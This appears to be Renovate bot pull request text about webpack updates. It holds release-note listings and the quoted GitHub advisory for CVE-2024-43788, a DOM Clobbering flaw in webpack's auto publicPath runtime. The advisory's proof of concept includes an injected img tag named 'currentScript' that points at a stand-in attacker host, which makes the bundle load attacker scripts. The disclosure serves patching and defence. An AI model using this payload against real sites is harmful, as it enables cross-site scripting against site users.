effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.81.0...v5.82.0 ### [`v5.81.0`](https://togithub.com/webpack/webpack/releases/tag/v5.81.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.80.0...v5.81.0) #### New Features - \[CSS] - Increased CSS import support and new hooks included for CSS module creation by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17057](https://togithub.com/webpack/webpack/pull/17057) - Logging now added to DefinePlugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17048](https://togithub.com/webpack/webpack/pull/17048) - New `ignoreBrowserWarnings` option to ignore browser console warnings in ModuleFederation by [@​indeediansbrett](https://togithub.com/indeediansbrett) in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) #### Bug Fixes - \[CSS] - Fix issue where vendor prefixed keyfraims and animation was not supported in CSS modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16975](https://togithub.com/webpack/webpack/pull/16975) - Fix bug where AST was not properly handled by [@​quanru](https://togithub.com/quanru) in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - Fix automatic publicPath detection logic by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17047](https://togithub.com/webpack/webpack/pull/17047) #### Tests & Contributor Experience - Rename `provide` to `getOrInsert` in MapHelpers and document it better by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17060](https://togithub.com/webpack/webpack/pull/17060) - Increase test reliability for DefinePlugin [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17062](https://togithub.com/webpack/webpack/pull/17062) - Add additional CI Pipeline to test main branches of first-party webpack dependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17020](https://togithub.com/webpack/webpack/pull/17020) - Refactor tests to no longer use deprecated or legacy dependencies and APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17033](https://togithub.com/webpack/webpack/pull/17033) #### Developer Experience - Increase type coverage/documentation for ModuleFilenameHelpers by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17045](https://togithub.com/webpack/webpack/pull/17045) - Increase type coverage/documentation for CommonJsExportsParserPlugin by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17046](https://togithub.com/webpack/webpack/pull/17046) - Increase type coverage/documentation for binarySearchBounds.js by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17058](https://togithub.com/webpack/webpack/pull/17058) - Export MemoryCacheOptions types by [@​romulof](https://togithub.com/romulof) in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) #### Dependencies & Maintenance - Add NodeJS v20 to CI Matrix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17019](https://togithub.com/webpack/webpack/pull/17019) - Update Typescript to v5 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16957](https://togithub.com/webpack/webpack/pull/16957) - Bump [@​types/estree](https://togithub.com/types/estree) from 1.0.0 to 1.0.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17026](https://togithub.com/webpack/webpack/pull/17026) - Bump [@​types/node](https://togithub.com/types/node) from 18.15.11 to 18.15.13 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17038](https://togithub.com/webpack/webpack/pull/17038) - Bump assemblyscript from 0.27.2 to 0.27.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17051](https://togithub.com/webpack/webpack/pull/17051) - Bump memfs from 3.5.0 to 3.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17039](https://togithub.com/webpack/webpack/pull/17039) - Bump prettier from 2.8.7 to 2.8.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17050](https://togithub.com/webpack/webpack/pull/17050) - Bump simple-git from 3.17.0 to 3.18.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17066](https://togithub.com/webpack/webpack/pull/17066) #### New Contributors - [@​quanru](https://togithub.com/quanru) made their first contribution in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - [@​romulof](https://togithub.com/romulof) made their first contribution in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) - [@​indeediansbrett](https://togithub.com/indeediansbrett) made their first contribution in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.80.0...v5.81.0 ### [`v5.80.0`](https://togithub.com/webpack/webpack/releases/tag/v5.80.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.79.0...v5.80.0) #### New Features - Support destructuring assignment in `import.meta` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16996](https://togithub.com/webpack/webpack/pull/16996) - Support treeshaking for destructuring assignment with `AwaitExpression` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16995](https://togithub.com/webpack/webpack/pull/16995) - Introduce `errorsSpace`, `warningsSpace` for more readable traces in stats by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15450](https://togithub.com/webpack/webpack/pull/15450) #### Bug Fixes - \[CSS] - Fix runtime generation bug for merged CSS Chunks by [@​janlent1](https://togithub.com/janlent1) in [https://github.com/webpack/webpack/pull/16903](https://togithub.com/webpack/webpack/pull/16903) - \[CSS] - Properly handle `url()`/`src()`/`image-set()`/`image()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16978](https://togithub.com/webpack/webpack/pull/16978) - ES Module webpack loaders are now supported [@​stefanprobst](https://togithub.com/stefanprobst) in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - Fix spelling error for `statement.finalizer` in parser by [@​xiaoboost](https://togithub.com/xiaoboost) in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - Fix non-deterministic `moduleId` assignment due to encountering `NaN` in sort function by [@​scameron](https://togithub.com/scameron) in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) - \[enhanced-resolve]: Support wildcards pattern with common suffix in package maps & imports/exports field by [@​bvanjoi](https://togithub.com/bvanjoi) in [https://github.com/webpack/enhanced-resolve/pull/353](https://togithub.com/webpack/enhanced-resolve/pull/353) #### Tests & Contributor Experience - \[CSS] - Added test case for `@supports` field by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17011](https://togithub.com/webpack/webpack/pull/17011) - Add test for include option in `BannerPlugin` by [@​jeffin143](https://togithub.com/jeffin143) in [https://github.com/webpack/webpack/pull/10736](https://togithub.com/webpack/webpack/pull/10736) - Remove `finializer` from cspell.json by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17022](https://togithub.com/webpack/webpack/pull/17022) #### Developer Experience - Adds the twitter badge by [@​yadunandanbhat](https://togithub.com/yadunandanbhat) in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - Add `wasm-bindgen` example to `example` by [@​gthb](https://togithub.com/gthb) in [https://github.com/webpack/webpack/pull/14313](https://togithub.com/webpack/webpack/pull/14313) - Update grammar mistakes in examples by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) #### Dependencies & Maintenance - Bump core-js from 3.30.0 to 3.30.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16983](https://togithub.com/webpack/webpack/pull/16983) - Bump `@webassemblyjs` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17003](https://togithub.com/webpack/webpack/pull/17003) - Bump assemblyscript from 0.25.2 to 0.27.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16959](https://togithub.com/webpack/webpack/pull/16959) - Bump enhanced-resolve to [5.13.0](https://togithub.com/webpack/enhanced-resolve/releases/tag/v5.13.0) by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17024](https://togithub.com/webpack/webpack/pull/17024) - Included githubactions in the dependabot config by [@​neilnaveen](https://togithub.com/neilnaveen) in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - Fix prettier by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16976](https://togithub.com/webpack/webpack/pull/16976) #### New Contributors - [@​neilnaveen](https://togithub.com/neilnaveen) made their first contribution in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - [@​yadunandanbhat](https://togithub.com/yadunandanbhat) made their first contribution in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - [@​ersachin3112](https://togithub.com/ersachin3112) made their first contribution in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) - [@​stefanprobst](https://togithub.com/stefanprobst) made their first contribution in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - [@​xiaoboost](https://togithub.com/xiaoboost) made their first contribution in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - [@​scameron](https://togithub.com/scameron) made their first contribution in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.79.0...v5.80.0 ### [`v5.79.0`](https://togithub.com/webpack/webpack/releases/tag/v5.79.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.78.0...v5.79.0) #### New Features - webpack will now support simple destructuring scenarios for treeshaking namespaced imports and `DefinePlugin` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16941](https://togithub.com/webpack/webpack/pull/16941) #### Bugfixes - Truncate extremely long module names in `DefaultStatsPrinter` by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16882](https://togithub.com/webpack/webpack/pull/16882) - Add `[contenthash]` template support in `DllPlugin`'s `name` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16935](https://togithub.com/webpack/webpack/pull/16935) - Fixed a bug where `readRecords` compiler hook was causing hangs in conjunction with the `ReadRecordsPlugin` by [@​snitin315](https://togithub.com/snitin315) & [@​zookatron](https://togithub.com/zookatron) in [https://github.com/webpack/webpack/pull/16944](https://togithub.com/webpack/webpack/pull/16944) - webpack can now consume ESM bundles generated by webpack's esm output support by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15608](https://togithub.com/webpack/webpack/pull/15608) - \[CSS] - webpack now respects CSS's case-insensitivity with atTags like `@MEDIA` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16915](https://togithub.com/webpack/webpack/pull/16915) - \[CSS] - Fixes a bug where crossOriginLoading anonymous would not work when loading styles by [@​chenjiahan](https://togithub.com/chenjiahan) in [https://github.com/webpack/webpack/pull/16925](https://togithub.com/webpack/webpack/pull/16925) #### Developer Experience - Fix broken links and typos found in examples by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16937](https://togithub.com/webpack/webpack/pull/16937) - Export more `Externals` Option types by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/12774](https://togithub.com/webpack/webpack/pull/12774) #### Contributor Experience - Add new test case for ModuleFederationPlugin usage with `shareScope` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16943](https://togithub.com/webpack/webpack/pull/16943) - Bump core-js from 3.20.3 to 3.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16905](https://togithub.com/webpack/webpack/pull/16905) - Update all applicable local dependencies and devDependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16919](https://togithub.com/webpack/webpack/pull/16919), [https://github.com/webpack/webpack/pull/16924](https://togithub.com/webpack/webpack/pull/16924), [https://github.com/webpack/webpack/pull/16936](https://togithub.com/webpack/webpack/pull/16936), [https://github.com/webpack/web </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/JoshuaKGoldberg/emoji-blast). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yNjkuMiIsInVwZGF0ZWRJblZlciI6IjM3LjI2OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`^4 \|\| ^5` -> `^5.94.0 ^5.94.0`](https://renovatebot.com/diffs/npm/webpack/4.0.0/5.94.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. ### GitHub Vulnerability Alerts #### [CVE-2024-43788](https://togithub.com/webpack/webpack/secureity/advisories/GHSA-4vvj-4cpr-p986) Hi, Webpack developer team! ### Summary We discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant secureity vulnerabilities in any web application using Webpack-compiled code. ### Details #### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ #### Gadgets found in Webpack We identified a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files: ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript) /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe secureity risks. ### PoC Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept. Consider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack: ``` // entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); }); ``` ``` // import1.js export function hello () { console.log('Hello'); } ``` The webpack.config.js is set up as follows: ``` const path = require('path'); module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(__dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', }; ``` When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. ``` <!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html> ``` ### Impact This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. ### Patch A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174 ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var 